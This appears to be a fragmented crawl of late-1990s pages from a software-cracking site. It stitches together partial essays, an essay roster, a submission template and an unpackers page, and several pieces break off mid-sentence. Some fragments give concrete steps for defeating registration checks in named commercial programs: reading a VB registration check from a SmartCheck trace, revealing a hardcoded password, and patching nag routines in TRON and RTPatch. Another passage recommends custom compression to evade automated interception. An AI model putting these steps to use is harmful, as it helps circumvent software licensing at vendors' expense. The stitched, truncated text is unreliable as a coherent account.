ANONMAIL.EXE!1206C (StringKey=Name)
GetSettings String appname "AnonMail" (406750)
String section "Registration" (406FB4)
String key "Name" (406FF0)
default variant
String .bstrVal "Loser" (407000)
Translates into:
OK, we could republish the whole movie that we have seen above
WITH the disassembled listing aside, to show you how easily you
can fetch whatever part of a target's code you fancy from your
disassembly NO MATTER WHAT FUNNY NAMES have been given by the
protectionists or what strange *.DLL HAVE BEEN CALLED BY THE
MAIN TARGET CODE, yet it is not necessary: We can directly go
where some work awaits us.
I'll repeat it, in case you were not listening: when we are doing
our 'Smartcheck cracking' we DON'T even have to use names or
Ok, I know, you want to see the protection scheme 'naked', here it is,
as Smartcheck told us: between 12302 and 12321:
:get_bad_flag
:0041231B 33F6 xor esi, esi ;Not a loser any more :-)
:continue
:0041231D 8B03 mov eax, dword ptr [ebx]
:0041231F 50 push eax
:00412320 FF15D8B14100 Call dword ptr [0041B1D8] ;MSVBVM50.__vbaLenBstr
http://www.asia.microsoft.com/msdownload/platformsdk/sdktools.htm
As soon as you'll have tried it, you'll see that this program
(which packed can find place on a single floppy: it's
IWINDBG.EXE.EXE, 1.259.152 bytes) does indeed cut the mustard.
You are deep inside fravia's page of reverse engineering, choose your way out:
project2 project8
+HCU ~ Project 8
Visual Basic reverse engineering
PHASE 5 by +PopJack:
BEGINNERS: Pluckit 3.0 Hip Hip Hurray for Smartcheck, 04 May 1998
Smartchecking a registration number
PHASE F by Little-John
And a little advertisement: try fravia now, you won't regret it!
At least a crack from +Sync (it was almost time, we thought he had disappeared in some phrozen crew reservoir :-)
Although very simple, this small essay will be very useful for newbyes, as +Sync writes
the file in (almost) plain text. What a fucking moron (see #1 above). Go
into the program and type Garbonzo in for the password and see if it works,
then immediately delete this program.
So, what have we learned? Unfortunately not much. However, the main points
of this whole mess are:
1. Check the obvious answer first, don't make things harder than they are.
2. Know your enemy. If I had not know that VB 4 used wide format, I would
have searched vainly for text in the program and never found it.
3. Use the correct tool for the job. This crack required only 1 tool, your
trusty hex-editor. While I also cracked this program with winice by
putting break points on the password I typed in, why go to the trouble to
search for the answer, when the author has given it to you?
I am writing this file with the hope that it will be useful to someone.
While this one is short, and obvious to anyone with any experience, there are
those out there who do not see the easy answer first. Beginners must learn to
walk before they can run. To the next generation of crackers who replace my
generation I say this: Cracking is the most noble art. Learn it and respect
it.
Note: This company has several other programs out, and probably equally
stupid protections on them.
+Sync
You are deep inside fravia's page of reverse engineering, choose your way out:
Updated 12
February!
(Link to index.html and don't link directly to this page any more... page names will rotate monthly :-)
Attention shareware
programmers
You'll find a LOT of useful tricks in order to better protect your software inside
the shareware programmer corner
Some of you are really good, and will surely, IMO, pass next year's strainer (for the +HCU 1999... should be
published by +ORC in April 1998)... in the mean time... would you like to work already NOW for the +HCU?
Please do, we have already more than 90 contributors (+HCUkers and friends alltogether), yet we need more help!
You may join right now one of the following ongoing projects:
Ourtools Tools to reverse the hell out of it: new stuff inside:
Our own tools ~
an +HCU workshop 01 Feb 1998
How to defeat us crackers at our new stuff inside:
Programmer's corner The Anti-cracking side ~
own game 12 Feb 1998
Compacted programs reverse
new stuff inside:
Projunpa Packers & Unpackers engineering: ~
02 Feb 1998
TRON, RTPatch, Protexe,
+HCU's Taxonomy
BE WARNED: A lot of essays have been "moved" inside the various "projects" above!
The following roster lists only the essays that have NOT YET found a place inside a"project"... se the academy
pages in order to have a COMPLETE list of all essays.. check the complete +HCU database!
(Just click onto the gif below)
The DOS4GW CD-ROM timestamp by Yamato (he got a new lesson from +ORC for this) - 05 March 1997
Windows 95 Screen Saver Passwords reverse engineering by Lonely Hawk (cryptography) - 20 March 1997
Homesite secrets
(Windows95 registry reverse engineering) by Epic Lord - 06 May 1997
aUTOWINNET 95 v4.0b
(An interesting protection based on a "weird" use of a keyfile) - by xOANON / UCF - 19 August 1997
Enterprise REXX
(Reversing a "tool of the trade) - by +drlan - 18 September 1997
+HCU's Taxonomy!
You'll find some new "subdivisions":
Advanced cracking
Timelock cracking
TL32V20.dll
(Started 07 May 1997 - Updated 20 January 1998))
Snippets
VERY IMPORTANT !
Please download this FORMATTING MUSTER and use it, pasting your essay inside it. If I decide to publish, I'll
eventually add my comments, after having read your essay (duh), you'll always be free to ameliorate or update your
essay once published, provided you have used this muster, yet you should check thoroughly your work before
sending it, else I promise you that you'll regret it.
Please DO NOT SEND ME ANY "obvious" cracks, I feel always uneasy in refusing to publish someone's work, but
I will not publish useless cracks any more. This is a site for software reverse engineering, and cracking protection
schemes is only a tiny part of it, albeit important to lure young bozos crackers on the correct (i.e. white or red)
knowledge paths :-)
Once more: noone could care less about the kind of software you crack, what's important is the reversing method in
itself, not the target you have chosen. Therefore, unless your work refers to one of the BASIC tools we have to use
(softice, wdasm, IDA, other debuggers, resource editors, memory sniffers and so on, those essays are always
welcomed), or unless your work refers to an extremely stupid protection , please send only cracks referring to
WEIRD protection schemes or to protection schemes that have NOT yet been explained enough. And we would still
prefer essays about general software reversing and crippled functions enabling. You dig it?
Feel free to work on any one of the +HCU projects... all relevant results will be collected and published
- Please don't send obvious cracks!
- Please remember that noone cares about WHAT you crack (with rare exceptions), software comes and goes and
there are zillion of warez sites on the web to get it regged for free... the only important and really ever lasting thing
of your work is the "reverse engineering" part
- If you use a lot of code, please explain the protection scheme first, clearly and deeply, hyperlinking the commented
code
- Please don't forget, for your target, to state exactly its VERSION, its EXACT NAME AND WHERE TO FIND
IT... (you are not +ORC... and we are not amused to have to seek the archies for very rare targets :-)
- It would always be better if you give an email address where people can reach you with feedback and questions
(I'm not going to push messages around), yet if you really feel that you must, you may also send anonymously, in
that case please don't forget to indicate which handle you would like
- Please CHECK yourself that your essay does not blow Opera's or Navigator's marges out (just look at it in Opera,
if it looks good in Opera it will work with any other decent browser of this planet)
- Please spellcheck your text YOURSELF! (No vulgarities either, please, nor SuCh SilLy TExt, do use normal
capitalization. Separate your paragraphs with blank lines. Make your message inviting to your potential readers)
- Please eliminate from wdasm code all useless parts ("a jump" instead of "a (c)onditional or (u)nconditional jump",
"1" instead of "00000001", and so on, just do yourself the search and replaces, please)
- Please: LESS CODE! MORE EXPLANATIONS! A good essay does not need much code, (a very good essay does
not need ANY code) and if you really need much code then EXPLAIN EVERY LINE! (and automagically you'll
immediatly realize that you did not needed that much :-)
Question:
Answer:
* Demomakers' creations (graphic in assembly)
* Dongles (see Project3)
* CD-ROM bound (see Project4)
* Save disabled (See project6)
* Quivers (See for instance +ORC's 4.1 or Vizion's essay)
* Orwellian targets (See Project9)
* DOS/Protected/Unix reversing are WELCOME!
* Perl scripts and site-busting techniques
Feel free to send good commented essays, I'll publish them (if necessary slightly modified) if worthy, well
documented and not vulgar... once more, please, don't forget to download this FORMATTING MUSTER and use
it, pasting your essay inside it.
So the real problem is mostly to land in the correct part of an overbloated code monstrosity, to understand some new
anti-reversing tricks, to follow a lead inside the dark codewoods. By all means the purpose of our activity is NOT to
give to the lusers a ready-made crack receipt... there are hundred of wannabye crackers that do just that all the time...
if you are here because you need the crack for a given program you are at the wrong address... here you will only be
able to learn how to do it yourself, and this requires some grey matter inside your skull, serenity and cogitation.
As master +ORC wrote once upon a time: you are going to learn a difficult art, not how to use ad nauseam simple
techniques
So: New protections, unusual protections, funny undocumented functions, "hidden" or "concealed" activities of your
targets... this is interesting: HOW DID YOU SUSPECT IT? HOW DID YOU FIND IT? And only then, eventually,
you can also add how you did crack it...but this is the most banal and less interesting part of your essay, believe me.
The less code you use in your essay and the more explanation you give about the TRY AND ERROR methods you
have followed the better for those that are reading you and that mostly DO NOT CARE AT ALL for the target you
are cracking in itself, as strange as this may appear to you... as a matter of fact they want to crack (or to protect)
Your_first title
Your_explaining second title Not Assigned
Your_date by Your_handle
slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
fra_00xx
98xxxx
handle I'll comment after having read it (you may of course comment my
1100 comments, I'll probably publish that as well :-)
NA
PC
There is a crack, a crack in everything That's how the light gets in
Rating ( )Beginner ( )Intermediate ( )Advanced ( )Expert
Your_(short)_comments here, after having checked yourself the above "rating" subdivision... here you
have an example of a possible short comment:
"An useful essay for beginners in order to see how a concealed call into a protection scheme can easily
be dealt with"
Don't confond this with the introduction to your essay, that you'll write below. Here you should only
write a short comment to let people understand who should read your stuff.
Your_title
Your_subtitle
Written by Your_handle
Introduction
Your_introduction
Tools required
Your_tools
Target's URL/FTP
Your_target's_url_or_ftp_locations
Program History
Your_target's_history (if any)
Essay
Your text, duh
Final Notes
Your_final_notes (if any)
Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a
longer period than the allowed one. Should you want to STEAL this software instead, you don't need to
crack its protection scheme at all: you'll find it on most Warez sites, complete and already regged,
farewell, don't come back.
You are deep inside fravia's page of reverse engineering, choose your way out:
(c) Fravia+ , Krugman, 1995, 1996, 1997, 1998. All rights reversed
n 3
Academy of reverse engineering: ESSAYS 201-300
(Archive: 28 Dec 1997 - 10 Jun 1998)
28 proj 9
Dec TWD ~ twd_aeo.htm Happy new year with "Age of Empires" ~ fra_00C9
proj 4
97
31
Dec Tristan ~ scniscni.htm BEGINNERS: most stupid protection 1997! proj 7 ~ fra_00CA
97
01
Jan flipper ~ flip_sl.htm Control panel applets cracking unass. ~ fra_00CB
98
01
Jan Uncle Van ~ uvessa_2.htm Encoded selfmodifying targets advanc. ~ fra_00CC
98
04
winrar 95 ver.2.0: the guts of a simple
Jan Little-John ~ littlejo2.htm proj 1 ~ fra_00CD
protection
98
05
Jan Jon ~ jongamcr.htm Game hack secrets unass. ~ fra_00CE
98
07
Hackmore+
Jan ~ hr_ferr1.htm How To Crack A Ferret advanc ~ fra_00CF
Readrite
98
09
Patching the Patcher: Cracking .RTPatch
Jan snickers ~ snickel.htm projunpa ~ fra_00D0
Professional - 4.00 Eval Release
98
11
Jan +Alt-F4 ~ altF4j_a.htm Cracking Wingdis 2.12 proj 1 ~ fra_00D1
98
12
Reverse Engineering MATLAB 5 - Part I:
Jan +Aitor ~ aitor1.htm proj 3 ~ fra_00D2
Dongle Protection
98
13
The Protexe v2.11 - Exploring a paranoid protection projunpa
Jan ~ banda7.htm ~ fra_00D3
Undertaker scheme
98
15
Jan +RCG ~ rcg_cmsp.htm Comspy98: a tool of our trade ourtools ~ fra_00D4
98
16
Jan Marigold ~ marigold.htm DoNotWasteTime_MrCracker@@YGHPBDP... timelock ~ fra_00D5
98
17
Jan +PopJack ~ popja_51.htm OCX Control Highlights - Licensing schemes proj 8 ~ fra_00D6
98
19
Reverse Engineering MATLAB 5 - Part II:
Jan +Aitor ~ aitor_45.htm projunpa ~ fra_00D7
InstallShield Packages Encryption
98
20 advanc.
Jan Quine ~ quine_h1.htm Pushing the Envelope with HASP projunpa ~ fra_00D8
98 proj 3
20
Jan Marigold ~ marigo_2.htm Ulead GifAnimator 2.0 Trial: Virginity restored timelock. ~ fra_00D9
98
22
Jan Spyder ~ spyder_4.htm SSI Win32 Dongle Protection proj 3 ~ fra_00DA
98
27 advanc.
Jan Quine ~ quine_51.htm Extending the IDA Script Language ourtools ~ fra_00DB
98 proj 6
29 advanc.
Dongle Bashing: end of the dongle old aera ~
Jan Frog's Print ~ fp_dong1.htm progcor ~ fra_00DC
Dongles bye bye
98 proj 3
01
VXDennis the menace ~ Fun with VRAMDIR
Feb CoreFixar ~ lordthu1.htm ourtools ~ fra_00DD
v1.07
98
02
How to crack HTMLedPro32 2.0d ~ Destroy it
Feb Edi ~ edi1.htm unass. ~ fra_00DE
to make it work
98
02
The TRAP Ver 1.13 ~ Opcode generators and
Feb ~ dimit_12.htm projunpa ~ fra_00DF
Undertaker selfchanging code
98
03
Marx Crypto Box, the most Secure device ever
Feb Dr Fuhrball ~ fuhrba_3.htm proj 3 ~ fra_00E0
made
98
04
Feb Fallen ~ donjo2.htm Cracked Metal, runtime dll creation progcor ~ fra_00E1
98
11
Cracking the ShareLock Protection System
Feb XaVaX ~ xavax1.htm progcor ~ fra_00E2
(SHRLK20.DLL)
98
12
Feb NaTzGUL ~ natz51.htm InstallSHIELD Script Cracking, a Tutorial advanced ~ fra_00E3
98
12
Feb Jon ~ jonla_13.htm BEGINNERS: A key-gen for AddItem unass. ~ fra_00E4
98
12
sPIRIT RealPlayer Plus 4.0: the "dummy code check"
Feb ~ spirit_1.htm progcor ~ fra_00E5
HellRaiser trick
98
13
Feb HalVar+ ~ halva_3.htm SOFTWrapper: wrapping galore progcor ~ fra_00E6
98
13
Feb MaD ~ dong_mad.htm Unplugging a dongle protection proj 3 ~ fra_00E7
98
16
BEGINNERS: Use Opera! (Bye Bye Navigator unass.
Feb Hal+ ~ hal_oper.htm ~ fra_00E8
?)
98
16
DONGLES: The weak brothership between
Feb MaD ~ maddon_1.htm proj 3 ~ fra_00E9
hard- and software
98
25
Feb Hs2L ~ smartc_2.htm An example of VB Cracking using SmartCheck proj 8 ~ fra_00EA
98
26 proj 3
Feb -bajunny ~ bayu_2.htm Undocumented HASP - part I ~ fra_00EB
advanced
98
28 Our protect
Jack of
Feb ~ jackrev.htm Reversing +Aesculapius ~ fra_00EC
Shadows advanced
98
01 advanced
Mar SiuL+Hacky ~ siulinux.htm Linux GUIs. The Chances ~ fra_00ED
ourtools.htm
98
04
Mar MaD ~ madlas1.htm DONGLES: Revealing sentinel Pro main code proj 3 ~ fra_00EE
98
04
Decompiling InstallShield scripts and guidelines progcor
Mar Zeezee ~ zee_inst.htm ~ fra_00EF
for decompiler writers
98
04
Mar madmax! ~ madmasu.htm Cracking using KERNEL32.DLL advanced ~ fra_00F0
98
04
Mar FootSteps ~ oldiegoo.htm Oldies but Goodies proj 4 ~ fra_00F1
98
08
Mar Duke ~ dukeess.htm Inside the VB3 .EXE proj 8 ~ fra_00F2
98
10
Winrar [95] the other path (Encryption
Mar +Indian_Trail ~ it_winr2.htm unass. ~ fra_00F3
Mechanism)
98
12 proj 3
Mar bajunny ~ bayunn2.htm Undocumented HASP - part II ~ fra_00F4
advanced
98
16
Mar iceman ~ iceman.htm Tweaking with memory in Window95 papers ~ fra_00F5
98
16
Mar The RudeBoy ~ rudeboy.htm BEGINNERS: Thinking Like a Cracker unass. ~ fra_00F6
98
16
Mar The Nameless ~ panthe.htm BEGINNERS: Big tent, little circus proj 7 ~ fra_00F7
98
16
Mar i_magnus ~ siceinst.htm BEGINNERS: SoftICE Install for Beginners unass. ~ fra_00F8
98
20
Mar iceman ~ iceman1.htm WIN32 - Inside Debug API papers ~ fra_00F9
98
20 advanced
Mar Stone ~ stone1.htm In memory patching: three approaches ~ fra_00FA
papers
98
20
Cracking Rightime: Encryption and checksums unass.
Mar Red Lantern ~ redla1.htm ~ fra_00FB
in a small DOS utility
98
31
BEGINNERS: Cracking Micro$oft Visual
Mar TWD ~ twd_ms_.htm proj 9 ~ fra_00FC
SourceSafe 5.00
98
31
Software protection history: Reinitializing Lotus
Mar Tomboy ~ 123dos.htm unass. ~ fra_00FD
1-2-3 (DOS versions)
98
31
How to perform some magic reversing with
Mar F_KingKrazy ~ kk_cunei.htm unass. ~ fra_00FE
good old BRW
98
31
A complete, nake protection code: Cracking
Mar CapedCrusader ~ capedcr.htm unass. ~ fra_00FF
WinZip32
98
31
Reverse Engineering MATLAB 5 - Part III:
Mar +Aitor ~ aitor003.htm unass. ~ fra_0100
Licenses
98
3 Apr DartPro 32 Cracking, a crippled 'save' with
Entropy ~ entropy1.htm unass. ~ fra_0101
98 encryption mechanism
23
Netscantools3.1 trial (What's new with
Apr JaZZ ~ netscan3.htm timelock ~ fra_0102
timelock?)
98
23
Apr Kabhoet ~ new_kha.htm BEGINNERS: NJWin 1.6 Checksum Cracking unass. ~ fra_0103
98
27
Apr Archimede ~ new_archi.htm The total reset protection scheme unass. ~ fra_0104
98
27
anormal A new kind of protection? Design your own
Apr ~ new_anor.htm advanced ~ fra_0105
kindergarten CPU!
98
27
Apr Masher ~ canterbu1.htm Getright: the beast within unass. ~ fra_0106
98
27
CheckPop 1.1 for Windoze95/98/NT4 by Nevis unass.
Apr VucoeT ~ vuctut01.htm ~ fra_0107
Systems
98
27
Diary Link 97: Menu disable and active by
Apr Kabhoet ~ ne_khab1.htm proj 7 ~ fra_0108
Register Number
98
03
BEGINNERS: A correction/addition to
May ReZeL ~ rezel1.htm unass. ~ fra_0109
RudeBoy's essay
98
03
Web Browser emulation
May Hs2L ~ hs2l_22.htm unass. ~ fra_010A
(Letting web pages get less info about you)
98
03
Cracking MicroCal Origin 5.0 in 3 Simple
May -MML- ~ origin_1.htm proj 6 ~ fra_010B
Ways
98
03 BEGINNERS: Why should we crack a program
May +dynamite ~ dynam_1.htm that DOES NOT CHANGE at all if you register unass. ~ fra_010C
98 it?
03
Cracking MicroCal Origin 5.0 in 3 Simple
May Sandman ~ sandma1.htm proj 2 ~ fra_010D
Ways
98
04
May +Aesculapius ~ strain99.htm The +HCU '99 STRAINER strainer ~ fra_010E
98
04
BEGINNERS:Pluckit 3.0 ~ Hip Hip Hurray for proj 8
May +Indian_Trail ~ ind_tra1.htm ~ fra_010F
Smartcheck
98
04 advanced
Opening a Vbox full of worms:
May Marigold ~ marigbox.htm ~ fra_0110
PreviewParadise lost timelock
98
04 advanced
How to crack an hardcore dongle-protected
May Shaman ~ casmw652.htm ~ fra_0111
program proj 3
98
04
Visual Basic Unprotection... Programmers:
May Little John ~ littlejo1.htm proj 8 ~ fra_0112
don't protect with visual basic!
98
05
Reverse Engineering a Compressed Target
May +ReZiDeNt ~ rezide7z.htm packers ~ fra_0113
(Phase I)
98
08
May Rudeboy ~ rudebo21.htm Four "atomic" cracking approaches! unass. ~ fra_0114
98
08
May Ether ~ ether1.htm BEGINNERS, the PSP protection again unass. ~ fra_0115
98
08
The supression and resurrection of assembler
May SLH ~ hutch1.htm papers ~ fra_0116
programming.
98
08
Instant removing of CrypKey (together with a
May Marigold ~ marycri1.htm progcor ~ fra_0117
lock) Unwrapping the wrapped
98
08
The resurrection of assembly programming -
May Masta ~ winasm_0.htm papers ~ fra_0118
Essay nr. 0
98
11
May JaZZ ~ crlvent7.htm Corel Ventura 7 trial: Crack it the hard way advanced ~ fra_0119
98
11 advanced
May Iceman ~ iceext1.htm "Extending Softice serie" ("Zauberreversing") ~ fra_011A
papers
98
16 BEGINNERS: An introduction to code
May Prophecy ~ prophe_1.htm generation routines: reversing Teleport Pro unass. ~ fra_011B
98 v1.29
16
May SLH ~ hutch_61.htm The Bridge: In Pursuit Of Lost Knowledge papers ~ fra_011C
98
16
Palmpilot reversing: Experience a brand new
May Tek ~ tek1.htm papers ~ fra_011D
taste in cracking
98
19
May The RudeBoy ~ rude45.htm Reversing Packed Targets packers ~ fra_011E
98
21
May SLH ~ hutquest.htm THE QUEST: Building the launch pad papers ~ fra_011F
98
21
May Goth ~ sales1.htm SalesAgent 3.0: Rsagnt32.dll, TurnKey and Me progcor ~ fra_0120
98
25
The resurrection of assembly programming -
May Masta ~ winasm_1.htm papers ~ fra_0121
Essay nr. 1
98
27 advanced
Undocumented HASP 3 (no more security
May Bajunny ~ bayu3.htm ~ fra_0122
through obscurity) proj 3
98
29
May SLH ~ hutch28.htm Software warriors through the warp papers ~ fra_0123
98
01
A different approach cracking a DOS
June Q ~ q_tsr601.htm proj 4 ~ fra_0124
CD-protection
98
01
June Q ~ q_tv0601.htm "Fixing" AIMS-Lab's VH-TV Program progcor ~ fra_0125
98
05
Little essay about the various methods and
June Joa ~ crunchi1.htm papers ~ fra_0126
viewpoints of crunching
98
05
The PicaView32 KeyGenerator (keygenerators
June +mISu ~ misu1.htm unass. ~ fra_0127
in C++)
98
05
The Eye Of The Warrior (a "graphical"
June SLH ~ hutch_65.htm papers ~ fra_0128
windows' paper)
98
10
Little essay about the various methods and
June Joa ~ crunchi2.htm papers ~ fra_0129
viewpoints of crunching II
98
10
June SLH ~ hutchif1.htm The iron fist (Keeping The Crackers Amused) papers ~ fra_012A
98
15
What's behind the mm256.dat and mm2048.dat
June fravia+ ~ mmstory.htm proj 9 ~ fra_012B
files?
98
15
PreviewParadise R.I.P. (vboxed programs... bye timelock
June Xoanon ~ xoa_126.htm ~ fra_012C
bye!)
98
Total: reverse
no more beginners essays please 315 essays
136 engineers
(c) Fravia+ , +ReZiDeNt, Krugman, 1995, 1996, 1997, 1998. All rights reversed
Are we concerned?
Yes, we are.
From a reverser perspective, packers (and unpackers)
represent an ideal field of study, for obvious reasons: since
the prehistory of software protection one of the most
commonly used systems in order to avoid de-protection
consisted, of course, in the "packing" (and the de facto
encrypting) of the executable files. A packed executable
cannot be hex-edited, nor is it possible to modify it easily on
the fly. Even to day shrewd net inhabitants exchange files
that have been zipped AND THEN lha-compressed, knowing
that most automatic sniffers will NOT be able to
intercept/decrypt such "double compressed" files on their
road around the world.
There is indeed an even better method: compressing data
using home made algorithms (child-easy if you are a
cracker): i.e. algos that are slightly different from the main
commercial ones.
This is one of the best methods I know of to avoid automated
interception... even better than zipping and PSPing your
communications, I have been told by the older ones, since
some automated sniffers apparently can crack PSP but no
Stone's page
See the packers & unpackers list there... Stone is a great reverser, and I like his work a lot beacuse he is
one of the few good reversers that do actually CONTRIBUTE to our science
Lord Caligo's page
There is no need to present LordCaligo's site: one of the BEST sites around, his packers and unpackers
collections and links and files are among the best on the web...
These matters are also relevant for a future possible +HCU project: "demomakers' creations"... i.e. the
disassembly and reverse engineering of the (often heavily "antisniffing" protected) "intros" and "demos"
of the graphical demo scene... we'll see... in the meantime, here you go with our essays about packers,
unpackers and installshields reverse engineering. Don't forget to read Joa's series about crunching!
THE ESSAYS
PHASE A
by The Undertaker, 18 Sep 1997
Tron version 1.30
"Reverse engineering the feeble protection scheme of a good unpacker"
PHASE B
by snickers, 09 Jan 1998
Patching the Patcher: Cracking .RTPatch Professional - 4.00 Eval Release
"Fun with packed files"
PHASE C
by The Undertaker, 13 Jan 1998
PROTEXE V2.11 - by TOM TROFS
"EXPLORING A PARANOID PROTECTION SCHEME"
PHASE D
by +Aitor, 19 Jan 1998
Reverse Engineering MATLAB 5 - Part II: InstallShield Packages Encryption
"how NOT to encrypt your own programs"
PHASE E
by Quine, 20 Jan 1998
Pushing the Envelope with HASP
"De-Hasping, zip cracking and other marvels"
PHASE F
by The Undertaker, 02 February 1998
TRAP Ver 1.13 EXPLORING A STUPID PROTECTION SCHEME
(Opcode generators and selfchanging code)
PHASE 10
by +ReZiDeNt, 05 May 1998
Reverse Engineering a Compressed Target (Phase I)
A surgical attack (we cut open the target, repair the damage, then stitch it up again)
Some 'snippets' may also result quite interesting for this project:
-- 0001 --
processing file : C:\WINDOWS\PSEDIT.EXE
file structure : executable (EXE)
processed with : LZEXE V0.91
-- 0002 --
processing file : C:\WINDOWS\MAP.EXE
file structure : executable (EXE)
processed with : LZEXE V0.91
-- 0003 --
processing file : C:\WINDOWS\PKUNZIP.EXE
file structure : executable (EXE)
processed with : REGISTERED PKLITE V1.20
-- 0004 --
processing file : C:\WINDOWS\PCTOOLS.EXE
file structure : executable (EXE)
processed with : EXEPACK V4.05/4.06
-- 0005 --
processing file : C:\WINDOWS\PKZIPFIX.EXE
file structure : executable (EXE)
processed with : REGISTERED PKLITE V1.20
-- 0006 --
processing file : C:\WINDOWS\VXDLIB.EXE
file structure : executable (EXE)
processed with : REGISTERED PKLITE V1.13
CRUNCHING
Little essay about the various methods and
12 December 98 Joa ~ crunchi1.htm papers ~ fra_0126
viewpoints of crunching
Little essay about the various methods and
10 June 98 Joa ~ crunchi2.htm papers ~ fra_0129
viewpoints of crunching II
Little essay about the various methods and
17 June 98 Joa ~ crunchi3.htm papers ~ fra_012E
viewpoints of crunching III
Little essay about the various methods and
17 June 98 Joa ~ crunchi4.htm papers ~ fra_xxxx
viewpoints of crunching IV
Little essay about the various methods and
17 June 98 Joa ~ crunchi5.htm papers ~ fra_xxxx
viewpoints of crunching V
You are deep inside fravia's page of reverse engineering, choose your way out:
(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved
TRON v.1.30
EXE UNPACKER WITH ANTI-DEBUGGING FACILITY
BY
The Undertaker -=BANDA=-
This is the windows' dark age... a period of fear and poverty and black magical software arts, where only few wizards,
inside the high Micro$oft's towers, know how to assemble and disassemble software, while the stupid peasants
programmers are condemned to use ineffective and overbloated languages, and the Lord of the Gates laughs at their feeble
attempts to break free of an imposed OS-poverty.
Because Micro$oft does not want people to be free, see, they would loose money in such a process... they are pushing
everybody to learn VB+, Access and all other NON powered programming languages... keeping assembly aside. Only
"fringe's" little groups: demomakers, reverse engineers, virus writers and crackers still use assembly, and they too are in
danger, censored and sued and prosecuted by the lackeys and servants of the black Lord of the Gates.
People that use LOW powered languages can do only very little, only miserable things. So Micro$oft can dominate the
software arena very easily... where are the assembly coders (and the resources) that, if concentrated on a simple software
developing project, would quickly push Word for windows in the oblivion that such a miserable wordprocessor deserves?
Nowhere... you only get as flawed "concurrence" to MS-abomination, aborts like Wordpro, Wordperfect for windows,
amipro and similar poor concoctions, written in the overbloated languages of the enemy and THEREFORE unable to fight
him aside.
The reason for the weak protection schemes used by Micro$oft is not that they "don't care" if we crack or not their
programs, is their "hybris": they think that people are already "done", that everybody only knows low powered
programming languages... that assembly is only propriety of few reverse engineers (a good ancient race of white
non-commercial wizards, a race that has almost disappeared... +ORC has tried hard to "revamp" interest in it, yet the
knowledge is -as before- confined to the few readers of these lines) and to the research and development engineers (many of
them were crackers at dawn, then followed the dark path of money... and are now greedy servants of the big corporations
and our worst enemies)
So! Learn right now ASSEMBLY LANGUAGE (and nothing else until you have
learned it).
The more you learn and understand the more you'll be able to damage Micro$oft!
Try to contribute something, to the world, in order to get rid of Micro$oft's
"one man show".
Develop a O/S (No kidding! If you try you can do it... you can do ANYTHING
when you know assembly!) in order to kick Micro$oft away from the
scene.
I will release my O/S early 1998 all over the web (BANDA v1.0b GUI).
Finally, I would like to thank fravia+ for his great contribution to our
world of assembly.
OK, let's start our work... we are here, to day, in order to use fully a very
important tool for our reverse engineering endeavours: TRON, a very good
(and powerful) Unpacker.
As usual, we are reversing targets only for fun and for educational purposes...
tron is a good tool, made by a good programmer (Michael Bauder, Germany).
A pity that it is so miserably protected. Anyway, if you use it, pay for it, as I
did. This is a very good dos application (yes, there are still very good quality
DOS programs available) and deserves it.
Let's see what "hooks" we have: run a "forbidden" option (say -u) and you'll
get following nag-string:
"Unregistered! You must register to use this part of tron"
And what does our target make afterwards? The program stupidly exits
back to DOS! That's GOOD! :-)
In all banal dos programs there are terminate with return code interrupts (21/4C).
These represent the end of the program, and like all endings, there may be
"happy ends" and "sad ends".
If you have done something wrong (like for instance asking for a registered
option being unregistered :) you'll get a sad ending, most of the time.
Let's start reversing from there. We'll find quite a lot of INT 21/4C inside
this target (probably one for each recognised packer... dunno... who cares?),
yet most will be under the "happy ending" form 21/4C-00... like this one,
taken as example:
which does NOT interest us, since 00 (in al) is, as I said, the "normal
termination". There are only two different int 21/4C inside our target,
and, loo and behold, they have both to do with the protection of tron!
;at ~38 you have inside the code of our target the
;string "0D/0A/UNREGISTERED!!! you must register to use
;this part of tRON!
:0001.1CF6 E89E22 call 3F97 ;call INT 21/2 output char
:0001.1CF9 E9F41E jmp 3BF0 ;close file and terminate -1
Infact, if you follow the unconditional jmp to 3BFO, you'll soon land here:
:0001.3C25 B8FF4C mov ax, 4CFF ;returns -1
:0001.3C28 CD21 int 21
BTW, there is another, completely different way to track the same scheme:
Use Softice 2.8 for DOS
Create a packed file lhaed.exe using a packer
Run Softice loader with ldr tron -u lhaed.exe
BPX CS:194E (:0001.194E call 1983)
Follow the call and so on (see above).
You are deep inside fravia's page of reverse engineering, choose your way out:
Tools:
SoftICE (3.x for Win95, as well as 2.x for DOS)
Tools Hacker's View v.5.66 (or any other hex editor with
Required on-the-fly disassembly)
Tron v.1.30 (see The Undertacker's essay about tron)
~
Our target: rtpsetup.exe (2,228,694 bytes) you can hopefully still get copies at
http://www.pocketsoft.com
The Protection
-When you're done with all this, you can leave Window$
to crack PBLD-V16.EXE. I know that you can load DOS
programs into SoftICE 3.x in Windows but it always
crashed on me so I decided that I would just crack it
in DOS. Load it into SoftICE 2.x and step to the
message. You'll be dragged throgh a lot of procedures
to get to the nag routine, so be prepared to step into
them. Eventually you'll find the right one - RETF the
first byte of the called procedure to skip the nag.
There are actually 2 patch creation programs for DOS -
the standard PBLD-V16.EXE and the enhanced, faster
PBLD-DX.EXE, both of which have nags. However, after
patching PBLD-V16.EXE, you won't need to patch PBLD-DX.EXE
anymore since the nag there also goes away.
More Protection?
The answer is also no. And if you're the type that doesn't
give up easily, you'll soon discover that the crack for
this part of the protection is very easy. In fact, you
can give your SoftICE a rest and enter the battlefield
armed only with a hex editor.
Get your copy of Tron 1.3 out. Even though it's compressed
with an unknown packer, we can still uncompress EZPDOS.DAT
using Tron's universal decompressor. First, rename
EZPDOS.DAT to EZPDOS.EXE. Then you can use Tron like this:
tron -u EZPDOS.EXE
Conclusion
way out
Back to Packers and Unpackers
homepage links anonymity +ORC students' essays academy database
tools cocktails antismut CGI-scripts search_forms mail_fravia+
Is reverse engineering legal?
LDR lha.exe
1110FEDCBA9876543210
CF Carry Flag
1
PF Parity Flag
0
AF Auxiliary Flag
0
ZF Zero Flag
SF Sign Flag
TF Trap Flag (Single Step) ***
IF Interrupt Flag
DF Direction Flag
OF Overflow flag
IOPL I/O Privilege Level (286+ only)
NT Nested Task Flag (286+ only)
0
RF Resume Flag (386+ only)
VM Virtual Mode Flag (386+ only)
Ok, lets explore the first few instructions in the protected program....
Well, the above part is just there in order to disable the Trap Flag.
If the Trap Flag is on the processor, then switch back to single
step mode.
Most "universal" Unpackers use this method to trace through the code.
Ok lets analyse the code further down.
The purpose of the above part is to disable the keyboard. But as you
can see there is a jump! It is directed to
OFFSET:172.
In the code there is no 172 whatsoever. Semms like it is
